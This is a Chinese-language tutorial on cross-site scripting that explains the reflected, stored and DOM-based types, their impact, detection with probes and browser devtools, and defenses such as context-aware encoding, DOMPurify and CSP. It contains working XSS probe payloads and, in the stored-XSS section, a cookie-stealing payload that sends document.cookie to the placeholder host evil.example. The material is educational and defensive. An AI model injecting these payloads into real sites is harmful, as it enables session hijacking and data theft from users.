XSS跨站脚本攻击全解析:从漏洞原理到防护实战

1. 场景:XSS 最容易藏身的业务角落

很多人对 XSS(Cross-Site Scripting,跨站脚本攻击)的第一印象,还停留在“给输入框塞一段<script>alert(1)</script>,然后页面弹了个框”这种入门演示上。但实际做安全测试和漏洞修复时,你会发现 XSS 远不止一种玩法,它藏在搜索框、评论区、前端路由、甚至导出文件里,形态千差万别。想要真正防住它,得先把“它从哪里来、长什么样”彻底搞清楚。

XSS 的本质是:用户的一段输入,在没有经过安全处理的情况下,被当作可执行的前端代码渲染到了浏览器里。因为代码运行在受害者的浏览器中、以受害者域名的权限执行,浏览器同源策略这道防火墙等于被直接绕过了。攻击者利用的输入位置不同、存储方式不同,XSS 被分成三类:反射型、存储型、DOM 型。三个类型看着名字差不多,但攻击场景和排查路径完全不同,分不清的话,后面检测和防护都没法落地。

1.1 反射型:跟随 URL 到达的“一次性攻击”

反射型 XSS 的思路,是把恶意代码放在 URL 参数里,后端拿到参数后直接拼进了响应页面,用户浏览器在解析页面时把这个代码执行了。整个过程不落库、不持久,所以叫“反射”。常见位置包括:

  • 站内搜索框:用户在/search?kw=xxx里输入的关键词回显到页面上
  • 列表排序、分页参数:?page=1&order=asc这类参数被 JS 或后端拼接后直接输出
  • 错误提示、登录回显:表单校验失败时,把用户填的内容原样返回
  • 401/404 等异常页面,把请求路径原样渲染

典型代码逻辑大概是这个样子:

// 一个搜索接口的简化示意 String keyword = request.getParameter("kw"); response.getWriter().println("<p>您搜索的关键词是:" + keyword + "</p>");

攻击者只要构造一个 URL:https://example.com/search?kw=<img src=x onerror=alert(document.domain)>,把这个链接发给目标用户。用户点击后,页面里就会多出一个加载失败的 img 标签,触发 onerror 事件执行 JS。反射型 XSS 的利用前提是“诱导用户点击攻击者构造的链接”,所以常被伪装成短链接、二维码发到聊天群里。

反射型有一个容易误判的点:很多开发者在后端给kw加了过滤函数,比如去掉<script>标签,就以为安全了。但攻击者马上会换<img>、<svg>、<iframe>或者用属性逃逸绕过,所以单纯过滤某个标签根本堵不住。

处理反射型 XSS 的经验是:不要问“我过滤了哪些标签”,要问“我在输出位置做了什么编码”。

1.2 存储型:写进数据库的“慢性毒药”

存储型 XSS 比反射型危险得多。攻击者的 payload 被打进了服务端的数据存储里,之后任何用户访问这个页面,都会加载并执行存储的恶意代码。这意味着攻击者不需要诱导某个特定的人点击链接,只要这个页面有人访问,就自动中招。

最容易出存储型 XSS 的业务位置:

  • 评论区、留言板:用户提交的内容逐条展示
  • 用户昵称、个人签名、头像 URL:管理员或其他用户在后台/前台看到
  • 富文本编辑内容:支持图文混排的文章发布功能
  • 商品评价、订单备注:在商家端、客服端展示
  • 工单系统、表单提交里的备注字段

典型代码是这样的:

// 留言保存与展示的简化示意 $comment = $_POST['comment']; $db->query("INSERT INTO comments(content) VALUES('" . $comment . "')"); // 渲染时直接输出 echo "<div class='comment'>" . $row['content'] . "</div>";

攻击者提交一条评论,内容写成<img src=x onerror=fetch('//evil.example/collect?c='+document.cookie)>。之后所有打开这个留言板页面的人,Cooke 都会被发送到攻击者的服务器。更麻烦的是,这种攻击会在服务器日志里留下痕迹,但修复时不能只“删掉这条评论”,因为数据库里可能已经沉积了大量历史 payload,还得考虑是否有人已经触发过。

存储型 XSS 因为影响面大,通常被定级为高危或严重。做安全评审时,只要这类功能直接输出未编码的用户输入,几乎可以闭着眼睛报漏洞。

1.3 DOM 型:前端自己把用户“卖”了

DOM 型 XSS 和前面两种有一个本质区别:payload 根本不需要经过服务器。

它的问题出在前端 JavaScript 读取了 URL 中的可控数据,然后直接写进了 DOM。后端响应里没有任何异常内容,服务器日志也完全看不到攻击痕迹。传统 WAF、后端过滤很难拦住这一类,所以经常被忽视。

典型代码:

<script> // 从 URL 参数读取内容,直接拼进页面 const q = new URLSearchParams(location.search).get('q'); document.getElementById('result').innerHTML = '您搜索的是:' + q; </script>

攻击者构造https://example.com/?q=<svg onload=alert(1)>,页面加载后innerHTML把 svg 解析成 DOM,onload 触发。这类问题在单页面应用(SPA)、前端路由、搜索联想、分享页回显里特别常见。

排查 DOM 型 XSS 有个难点:同样的前端代码,在不同浏览器、不同版本里,对innerHTML、outerHTML、insertAdjacentHTML的解析结果可能不同。某些 payload 在一个浏览器能执行,换一个浏览器可能被当作纯文本。所以测试 DOM 型 XSS,不能只在一个浏览器里验证,最好用主流内核各过一遍。

1.4 容易被忽略的高危场景

除了上面三类经典位置,我还见过不少“非典型” XSS 出现点,它们不在常规的输入输出链路上,但一旦被利用,影响往往不小。

  • JSONP / callback 参数:很多老接口用callback=xxx做跨域,后端把参数值直接拼成 JS 函数名返回。如果前端没校验函数名,攻击者构造callback=alert(1),浏览器直接执行。
  • SVG 和文件上传:SVG 本质上是 XML,内部可以嵌入 script。上传头像功能如果没有严格校验文件内容,只检查扩展名,就可能把带脚本的 SVG 存到服务器上,之后通过https://example.com/upload/evil.svg直接访问触发。
  • 导出功能:Excel、CSV、PDF 导出时,如果单元格内容拼接了公式或 HTML,打开导出文件时可能执行脚本,这类叫导出型 XSS,常用于钓鱼和投递恶意文件。
  • 邮件模板:邮件内容里如果拼接了用户输入,发送出去的邮件在用户邮箱客户端里可能渲染出恶意内容。
  • 错误日志页面:接口异常时,把请求参数原样打到网页上方便排错的内部工具,一旦暴露到外网,就成了反射型 XSS 的窗口。

在做安全排查时,我习惯在纸上列一遍“数据从哪进来、经过哪些处理、最终在哪个上下文输出”,只要某个数据源是用户可控的、输出位置没有经过上下文感知的编码,就值得单独测一下。

2. 影响:被 XSS 打穿的业务防线

很多人一开始对 XSS 的态度是“不就弹个框嘛,又没有直接拖库”。这种想法相当危险。XSS 的最可怕之处,不在于它自己做了什么,而在于它让攻击者在受害者的浏览器里获得了“任意脚本执行”的能力。有了这个能力,攻击者能做的事就完全不受控制了。

2.1 从弹框到会话劫持

攻击者把一段 JS 注入到页面后,最直接的利用方式就是读取 Cookie、发送到自己的服务器,拿到受害者的登录态。虽然现代浏览器有 HttpOnly 属性保护 Cookie,但很多老项目、内部系统根本没有设置这个属性,document.cookie一读一个准。

就算 Cookie 受 HttpOnly 保护,XSS 还是能通过发起请求来模拟用户操作。攻击者可以在页面里注入一段 fetch 代码,自动调用“修改密码”“绑定手机号”“转账”等接口,这就和 CSRF 攻击形成了组合拳。更隐蔽一点的做法是覆盖页面里的登录表单,用户输入账号密码时,JS 先复制一份再提交给服务器,用户自己还毫无察觉。

我还处理过一个真实案例:某个后台管理系统的评论功能存在存储型 XSS,攻击者在评论区放了读取 Cookie 的脚本。管理员在后台审核评论时触发,登录态被偷走。攻击者拿到管理员会话后,直接登录后台改了业务配置。整个链路从“弹个框”升级到“后台沦陷”,只花了不到半天时间。

2.2 蠕虫与供应链传播

存储型 XSS 还有可能发展成蠕虫。攻击者在一条评论里写入脚本:页面加载时自动向评论接口提交一条内容相同的评论。后来的访客每打开一次页面,就会自动发一条新评论,新评论里又带着同样的脚本,以此类推。在社交平台、论坛这类高交互产品里,这种蠕虫能在几小时内扩散到全站用户,形成“刷屏式”灾难。历史上多个知名社交平台都因此出过事故。

另一种容易被忽略的连锁反应是前端供应链污染。现在的网站大量依赖第三方脚本:统计代码、广告 SDK、IM 组件、地图 SDK。如果某个页面存在 XSS,攻击者注入的脚本可以动态加载一个外部的 JS 文件,那个文件可能在后续被替换成键盘记录器、挖矿脚本或恶意跳转代码。单一页面的 XSS,最后可能污染整个站点所有用户的浏览体验,因为攻击者拿到 JS 执行权后,可以改写页面上后续加载的脚本内容。

2.3 业务与合规层面的损失

XSS 造成的直接技术危害之外,还有一连串业务层面的连锁反应。

用户个人信息被窃取,会直接导致账号被盗、订单信息泄露、聊天记录被翻。电商、金融、医疗类产品一旦出现这类问题,用户信任度一落千丈,客服团队会被大量“账号被盗了怎么办”的工单淹没。从安全投入的角度看,事后应急响应的人力成本、公关成本、可能的法律赔偿,往往远超提前做一次安全改造的费用。

我经常和高危漏洞被修复的技术团队确认一个问题:这个漏洞确实修了,但你们是否已经查过攻击者有没有利用它?如果攻击者已经利用过存储型 XSS 窃取了数据,问题就不只是“改代码”那么简单,而是“数据泄露事件”了。这也是为什么我一直建议,安全测试要早做、常态化做,不要等到攻击者替你做测试。

3. 检测:把 XSS 找出来的实战方法

XSS 的检测看上去简单,写几个 payload 往输入框里塞,看它弹不弹窗。但真要系统地扫一遍业务,并且不产生一堆误报、不漏掉隐蔽点,还是需要一套完整的方法。我基本都是按“手动探针 → 上下文判断 → 工具辅助 → 人工复核”这个流程来走。

3.1 手动测试的思路与常用探针

手动测试的前提是有合法的授权。做安全测试时,不要拿生产环境的真实数据乱试,先在预发环境、测试环境过一遍,确认没问题再上生产,这是基本的职业素养。

检测的第一步,是找到所有“用户可控输入、并被输出到页面”的参数点。我的做法是打开浏览器开发者工具,把页面上所有表单字段、URL 参数、接口请求参数列出来,逐个去测。对一个参数点,先用无害探针确认它是否进入输出位置,再判断输出上下文。

常用探针如下:

<!-- 基础探针 1 --> <script>alert(document.domain)</script> <!-- 基础探针 2 --> <img src=x onerror=alert(document.domain)> <!-- 基础探针 3 --> <svg onload=alert(document.domain)> <!-- 属性闭合探针 --> "><svg onload=alert(document.domain)> <!-- 单引号属性闭合探针 --> '><svg onload=alert(document.domain)> <!-- JS 上下文探针 --> ';alert(document.domain);//

为什么要用document.domain?因为如果有 CSP、沙箱等防护,单纯的alert(1)可能会被浏览器直接拦掉,生成误导性的结果。而document.domain能访问到当前域名,可以确认脚本确实在目标页面上下文里执行了。

判断输出上下文是手动测试的关键。输出位置不同,payload 的闭合方式就不同:

  • 输出在<div>这里</div>的文本节点里:直接插入 HTML 标签即可
  • 输出在<input value="这里">的属性值里:需要先闭合双引号
  • 输出在<script>var x = "这里";</script>的 JS 字符串里:需要闭合引号、用分号断句
  • 输出在href、src等 URL 属性里:可能要用javascript:伪协议

测试时我会在地址栏手动构造 URL,或用抓包工具修改请求参数,然后观察页面渲染结果。注意不要只看“有没有弹窗”,还要看 payload 是否被原样输出到了 DOM 里。如果输出位置在 JS 上下文,但浏览器把<转义成了&lt;,那说明已经做了编码,漏洞不存在。

3.2 借助浏览器开发者工具做现场分析

确认 XSS 是否可利用,不能只靠肉眼“看弹窗”,应该用开发者工具做详细分析。

  • Elements 面板:查看输入内容被渲染成什么样,是成了 DOM 节点,还是变成了纯文本。如果<img>真的成了一个 DOM 元素,说明标记被解析了。
  • Network 面板:查看页面加载时的所有请求。如果注入的脚本访问了外部地址,Network 面板会有记录。
  • Console 面板:查看 JS 运行时的报错。如果注入点位于 JS 上下文,语法错误会直接显示在控制台;CSP 拦截脚本也会在这里有明确提示。
  • Sources 面板:给可疑脚本设置断点,单步执行,看数据是怎么流动的,推荐在定位 DOM 型 XSS 时使用。

举一个我排查过的例子:某单页应用的搜索联想功能,用户输入关键词后,前端把关键词用innerHTML写进了下拉列表。我在输入框里填入<b>xss</b>,发现列表里确实出现了加粗的文字,说明标签被执行。再把输入改成<img src=x onerror=alert(document.domain)>,页面弹窗。通过 Elements 面板,我还能看到这个 img 是何时被插入的、父节点是什么,从而定位到具体是哪行前端代码的问题。

3.3 自动化扫描与代码审计

手动测效率低,自动化扫描可以帮我们快速铺开覆盖面。扫描器的基本思路是:爬取网站所有页面,收集所有参数点,把准备好的 payload 注入进去,然后比对响应内容是否出现了 payload 的特征。市面上有不少开源和商业的 Web 漏洞扫描器,但扫描结果只能作为“疑似清单”,最终确认漏洞是否存在,必须人工复核。

代码审计则是另一种路径,适合在开发阶段发现问题。重点盯这些“危险操作”:

  • innerHTML、outerHTML、insertAdjacentHTML
  • document.write、document.writeln
  • eval、new Function、setTimeout的第一个参数是字符串
  • 后端拼接 HTML 返回接口、模板引擎关闭了自动转义
  • location、location.hash、location.search直接拼进 DOM
  • v-html(Vue)、dangerouslySetInnerHTML(React)这类跳过框架默认转义的接口

我在代码审计时有个习惯:先搜这些 API 的调用位置,再追踪其数据来源。如果数据来源是用户可控的,比如 URL 参数、接口请求体、数据库字段,就立刻标记为可疑点。

3.4 一个完整检测流程的示例

拿一个典型的搜索功能举例,完整走一遍:

  1. 定位参数点:访问/search?kw=test,页面显示“您搜索的关键词是:test”。
  2. 注入基础探针:将kw改成<img src=x onerror=alert(document.domain)>,刷新页面。
  3. 观察输出位置:用 Elements 面板查看这段内容被渲染到了哪里。如果它出现在<p>文本节点里,并且确实生成了一个 img 元素,说明标签解析成功。
  4. 尝试闭合逃逸:如果页面把<和>转义了,改成"><svg onload=alert(document.domain)>再次测试。
  5. 验证可执行性:弹窗出现后,换一个探针确认网络请求可以发出,比如注入<script>fetch('/test-scan?xss=1')</script>,然后看 Network 面板是否出现对应请求。
  6. 记录与修复建议:详细写下漏洞位置、触发方式、受影响参数,并明确建议在输出位置做编码。

整个过程看起来繁琐,但经验值上来之后,一个可疑点基本几分钟就能判断清楚。关键在于不要图省事,跳过了上下文判断的环节。

4. 防护:一套从进到出的治理方案

检测是打地鼠,打完一个冒一个;防护才是真正把问题收口。XSS 防护的核心可以浓缩成一句话:所有进入动态页面的用户输入,都必须经过输出位置的上下文编码;所有进入富文本区域的用户输入,都必须经过白名单过滤。围绕这句话,要落地的方案分四个层面。

4.1 输出编码:第一道且最关键的一道防线

输出编码的原则是“根据渲染上下文选择对应的编码方式”。同一个字符,在 HTML 文本、属性值、脚本字符串、URL 里需要的编码方式完全不同。用错了,等于没编码。

渲染上下文编码原则示例
HTML 文本节点将& < >转为 HTML 实体&amp; &lt; &gt;
HTML 属性值额外编码引号"'&quot; &#39;
JavaScript 字符串使用反斜杠转义或 Unicode 转义\x3c\u003c
URL 参数使用 URL 编码%3C%3E

后端开发时,不同语言有对应的安全编码函数。Java 里可以封装一个基于上下文选择编码策略的工具类;PHP 里htmlspecialchars配合ENT_QUOTES是处理 HTML 上下文的基础做法;Node 前后端分离项目,接口层返回结构化数据即可,HTML 渲染编码交给前端框架,反而比较容易控制。

这里要提醒几个常见误区:

  • 只做输入过滤,不做输出编码。输入过滤能挡住一部分已知 payload,但永远挡不住未知变体,所有把过滤当成唯一防线的项目,最后都被绕过。
  • 编码函数用错上下文。比如在属性值里只编码了尖括号,忘了编码引号,攻击者照样能通过闭合属性逃逸。
  • 对富文本内容做整体转义。这样会把正常的加粗、链接、图片全变成纯文本,业务上不可接受,富文本必须走白名单过滤方案。

现代前端框架(Vue、React)默认对插值表达式做转义,杜绝了大部分直接拼接 HTML 的问题。但v-html、dangerouslySetInnerHTML这类接口会跳过默认转义,使用时必须保证传入的内容已经过白名单过滤。很多前端团队的规范里会直接禁止这两个 API 的使用,除非安全团队单独评审通过。

4.2 输入校验与富文本白名单

输出编码解决的是“拼好的字符串安全渲染”,输入校验解决的是“脏数据能不能进来”。

输入侧的核心策略是白名单校验,而不是黑名单过滤。对每个字段,提前定义它合法接受的字符集、长度、格式。比如手机号只允许数字和+-(),用户名只允许字母数字下划线,不允许任何 HTML 相关字符。这类字段用正则和白名单校验就能完全排除 XSS 风险。

富文本字段是例外,因为它需要支持 HTML 标签,不能一刀切编码。富文本过滤的标准做法是白名单标签+白名单属性。使用成熟的富文本过滤库,比如前端用 DOMPurify 这类方案,配置允许的标签和属性:

const clean = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote', 'img'], ALLOWED_ATTR: ['href', 'title', 'alt', 'src'] });

富文本过滤有个特别容易被忽略的点:<a>标签的href属性。攻击者可以把href写成javascript:alert(1),点击链接时触发脚本。所以除了过滤标签和属性,还必须单独校验 URL 协议,只允许http:、https:、mailto:这类安全协议。DOMPurify 默认配置已经处理了这个问题,但如果团队自己写了正则过滤方案,一定要单独测这个点。

4.3 浏览器端的三道保险

后端编码做好了,仍然建议叠加浏览器端的三项基础防护,形成纵深防御。

第一道:HttpOnly Cookie。在设置会话 Cookie 时加上 HttpOnly 属性,JavaScript 就不能通过document.cookie读取到它。这不能阻止 XSS 本身,但能大幅降低会话劫持的风险。Java 里设置方式很直观:

Cookie sessionCookie = new Cookie("sessionId", sessionId); sessionCookie.setHttpOnly(true); sessionCookie.setSecure(true); sessionCookie.setPath("/"); response.addCookie(sessionCookie);

第二道:CSP(Content Security Policy)。CSP 通过响应头告诉浏览器:页面只能加载哪些来源的脚本。就算攻击者成功往页面里注入了<script>标签,CSP 也能直接拦下来,脚本根本不会执行。一个基础配置示例:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

这个配置的含义是:默认加载同源资源,脚本只允许加载同源文件,禁止 object/embed/plugin,禁止修改 base URI。如果线上有些场景必须用内联脚本,可以为合法脚本生成一次性 nonce 令牌,在响应头里放行'nonce-随机字符串',并给每个合法 script 标签加上同样的 nonce 属性。CSP 配置不当会让线上功能出问题,所以上线前一定要在预发环境完整回归一遍。

第三道:X-XSS-Protection 的安全提示。老一代浏览器曾内置 XSS 过滤机制,通过X-XSS-Protection: 1; mode=block开启。但现代浏览器已经陆续移除或废弃了这项机制,因为它本身可能被攻击者用来屏蔽页面内容,造成另一种安全问题。现在更建议把精力放在 CSP 和输出编码上,不要把这个响应头当成主要防线。

4.4 从流程上把 XSS 挡在发布前

技术方案之外,XSS 治理最后拼的是流程规范。

  • 需求评审阶段:凡是涉及用户输入后展示到页面的功能,开发、测试、安全三方要确认输出编码方案。
  • 开发规范阶段:在团队代码规范里明确列出危险 API 清单,新代码不能出现innerHTML拼接用户输入这类写法,统一封装安全的渲染工具。
  • 自动化检测阶段:把静态代码扫描接到 CI 流程里,每次提交代码自动跑一遍,发现高危 API 调用就卡住合入。
  • 上线前安全测试阶段:准备一份 XSS 检查清单,所有新增页面、修改过的接口,至少手动跑一遍常见探针。

我见过太多“上线后补漏洞”的案例,修复成本是开发阶段的几十倍。把上面这些环节固化到流程里,XSS 出现的频率会成批量地降下来。

5. 常见问题与踩坑实录

5.1 典型问题速查表

做安全测试和修复支持时,我经常遇到一些高度重复的问题,整理成速查表,方便直接对照排查。

症状可能原因排查与修复方向
输入<script>alert(1)</script>没弹窗,但有数据显示浏览器或前端框架转义了尖括号检查输出位置,换<img src=x onerror=...>探针再测
尖括号被转义了,但双引号没处理输出上下文是属性值,缺了引号编码在属性值上下文补&quot;编码
后端过滤了<script>,但换<img>又弹窗黑名单过滤思路失效改成输出上下文编码,不能依赖黑名单
页面能弹alert(1),但发不出自定义请求CSP 拦了外链脚本用 Network 面板确认请求是否被阻塞,按需调整 CSP
服务端日志里完全看不到漏洞请求DOM 型 XSS,payload 没到后端排查前端location、innerHTML相关代码
富文本内容被过滤后大量丢标签白名单配置过窄按业务实际需求补充合法标签,同时保留白名单策略
CSP 配置后,页面原本的内联脚本全部失效内联脚本被 CSP 默认拦截把内联脚本外置,或使用 nonce 放行合法脚本

5.2 我在实际项目里踩过的坑

第一个坑是“只在前端过滤”。曾经有一个团队在登录页面做了前端输入校验,把<script>字符直接挡在输入框外,大家觉得“这样安全了”。结果攻击者绕过页面,用抓包工具直接构造请求,把 payload 发到后端接口,前端过滤形同虚设。前端过滤的作用仅仅是优化用户体验,真正的安全边界必须建立在服务端。

第二个坑是“编码工具函数封装错了方向”。某个项目封装了一个escapeHtml(),但它只处理了& < >三个字符,没有处理双引号和单引号。大家在 HTML 文本节点里用没问题,一放到属性值里就出洞。后来我们统一改成了“按上下文选择编码函数”,并给每个函数写清了适用场景注释,才彻底解决这个问题。

第三个坑是 CSP 配置得太严格,上线后埋点和第三方客服组件全部失效。预发环境测试时没覆盖到这些异步加载的第三方脚本,生产一开就出现用户反馈。做 CSP 治理最好分两步走:先开Content-Security-Policy-Report-Only观察一段时间的拦截日志,确认没有误伤后,再切换成强制执行模式。

第四个坑发生在前后端分离的项目里。后端接口返回 HTML 片段,前端直接v-html渲染,双方都以为“编码应该对面负责”,结果谁都没做。在前后端分离架构下,必须明确一条原则:接口返回纯文本时,由后端负责编码;接口返回 HTML 片段时,由前端负责白名单过滤并标记为高风险接口,两类情况都必须在代码评审阶段确认。

5.3 一次整改的复盘经验

去年帮某业务系统做过一次 XSS 专项整改,核心工作是梳理所有“用户输入 → 动态渲染”链路。一开始人工梳理花了两天,列出来 40 多个风险点,其中有 10 多个是开发者根本没想到的隐蔽入口,比如错误提示里的字段回显、后端拼接 SMS 模板时的内容展示。后来我们把输出编码封装成统一组件,约束所有入口必须走这个组件,整改完复测,风险点清零。这个过程让我深刻体会到:单点修复解决不了系统性问题,必须把“安全编码规范”固化到开发流程里,让每个人的每一次输出都做对,XSS 才可能真正根绝。

安全这块的工作,往往短期看不到业绩,但一旦出问题就是大事。每次在最费时间的“找漏洞”环节省掉的功夫,迟早会以更大的代价还回来。如果你的项目还没做过一轮系统的 XSS 排查,我的建议是别等了,现在就开始。先从自己的核心业务链路里挑出输入点、输出点、边界点,按上面说的探针和规范过一遍,能发现的漏洞基本都是赚到的。

相关新闻

基于YOLO26的PCB缺陷检测实战:从小目标识别到产线部署

基于YOLO26的PCB缺陷检测实战:从小目标识别到产线部署

做PCB缺陷检测这行&#xff0c;我前后换过三套方案。最早用传统图像处理&#xff0c;后来用两阶段检测器&#xff0c;直到把YOLO26跑通&#xff0c;6类缺陷的检出率才真正稳下来。这篇就围绕这套系统展开&#xff0c;讲一讲选型理由、数据准备、训练调参、部署交付这些环节里我…

2026/10/19 17:14:40 阅读更多 →
FrankenPHP Windows 原生版实测:PHP 应用服务器的本地开发新选择

FrankenPHP Windows 原生版实测:PHP 应用服务器的本地开发新选择

昨天整理电脑里的 PHP 项目时&#xff0c;顺手刷了一眼 FrankenPHP 的发布页&#xff0c;发现官方挂出了 Windows 原生的 zip 包。说实话&#xff0c;我第一反应是去看发布日期&#xff0c;确认不是旧文件——因为等这个“原生支持 Windows”的版本&#xff0c;真的等太久了。先…

2026/10/19 17:14:40 阅读更多 →
HTTP状态码从入门到实战:分类原理、避坑指南与团队规范

HTTP状态码从入门到实战:分类原理、避坑指南与团队规范

调试做多了&#xff0c;会养成一种条件反射&#xff1a;看一眼HTTP响应码&#xff0c;心里立刻分好“这锅该谁背”。HTTP响应码这件事&#xff0c;表面上就是查表背答案&#xff0c;可真做几年前后端接口开发后你会发现&#xff0c;真正值钱的不是记得熟&#xff0c;而是看到一…

2026/10/19 17:14:40 阅读更多 →

最新新闻

Oracle expdp异地导出:dmp文件落点与三种实现方案

Oracle expdp异地导出:dmp文件落点与三种实现方案

接手一个“expdp异地导出”的需求时&#xff0c;我第一反应从来不急着敲命令&#xff0c;而是先问一句&#xff1a;你说的“异地”&#xff0c;到底指什么落在异地&#xff1f;这个看似简单的问题&#xff0c;其实决定着后面整个方案的设计方向。做了这么多年 Oracle 运维&…

2026/10/19 18:06:54 阅读更多 →
蓝桥杯备赛Day1:P1101单词方阵,用方向枚举取代DFS

蓝桥杯备赛Day1:P1101单词方阵,用方向枚举取代DFS

1. 为什么第一天的第一题选了P1101 单词方阵如果今天是你的蓝桥杯备赛第一天&#xff0c;我建议你先把 P1101 单词方阵 这道题做透。原因很简单&#xff1a;它不是难题&#xff0c;却把搜索类题目里最容易被忽略的细节全暴露出来了——方向怎么枚举、边界怎么判、标记怎么打。我…

2026/10/19 18:06:54 阅读更多 →
AI+RPA融合安全:五大核心维度与落地实践

AI+RPA融合安全:五大核心维度与落地实践

AI与RPA的融合这两年几乎是所有流程自动化项目绕不开的话题&#xff0c;我接触的客户里&#xff0c;十家有八家在聊“给机器人装上大脑”这件事。传统RPA只是按照规则机械执行&#xff0c;遇到非结构化数据、模糊判断就卡壳&#xff0c;而AI正好补上这个短板——OCR识别票据、自…

2026/10/19 18:06:54 阅读更多 →
SX126x LoRa驱动移植实战:从工程结构到低功耗收发

SX126x LoRa驱动移植实战:从工程结构到低功耗收发

简介&#xff1a;这份资源面向嵌入式开发初学者与无线通信方向工程师&#xff0c;提供基于STM8的SX126x LoRa芯片完整驱动方案&#xff0c;解决LoRa模块从底层寄存器配置到收发数据链路搭建的问题。包内共136个文件&#xff0c;以h头文件、c源文件、xcl链接配置、o编译产物及ew…

2026/10/19 18:06:54 阅读更多 →
VS中_CRT_SECURE_NO_WARNINGS宏的作用、用法与避坑指南

VS中_CRT_SECURE_NO_WARNINGS宏的作用、用法与避坑指南

1. 为什么你的VS里总是报“CRT_SECURE_NO_WARNINGS”这个错用微软系编译器&#xff08;Visual Studio、VS Code搭配MSVC工具链&#xff09;写C/C程序的人&#xff0c;几乎都见过这行报错&#xff1a;error C4996: scanf: This function or variable may be unsafe. Consider us…

2026/10/19 18:06:54 阅读更多 →
Product Hunt热榜复盘:从票数与评论区看产品冲榜策略

Product Hunt热榜复盘:从票数与评论区看产品冲榜策略

我每天早上都会打开 Product Hunt 的热榜页面&#xff0c;这已经是雷打不动的习惯。2026-03-31 的这份榜单&#xff0c;我点开之前其实没抱太大期待——毕竟“每日热榜”四个字听起来就像流水账。但真正逐条把当天上榜的产品翻完、把评论区看完、把背后几位创始人的发布策略捋清…

2026/10/19 18:05:50 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介&#xff1a;本资源为电源技术方向的学术研究文档&#xff0c;聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略&#xff0c;面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址&#xff1a; https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集&#xff0c;共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →